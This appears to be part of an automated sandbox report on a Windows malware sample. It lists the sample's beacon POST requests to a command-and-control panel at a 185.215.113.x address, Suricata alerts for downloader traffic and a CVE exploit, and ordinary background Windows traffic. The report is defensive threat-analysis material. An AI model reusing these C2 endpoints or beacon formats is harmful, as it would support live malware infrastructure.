Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49732 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49755 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49763 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49767 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49769 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49778 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49772 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49835 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49829 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49845 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49847 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49976 -> 23.197.127.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49983 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50001 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50023 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50064 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50070 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50072 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50089 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50145 -> 20.189.173.10:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49768
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49899 -> 49.12.130.36:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6FCC60 PR_Recv,

0_2_6C6FCC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7vm+dLXKRdfa6ks&MD=2BrrOrKE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7vm+dLXKRdfa6ks&MD=2BrrOrKE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
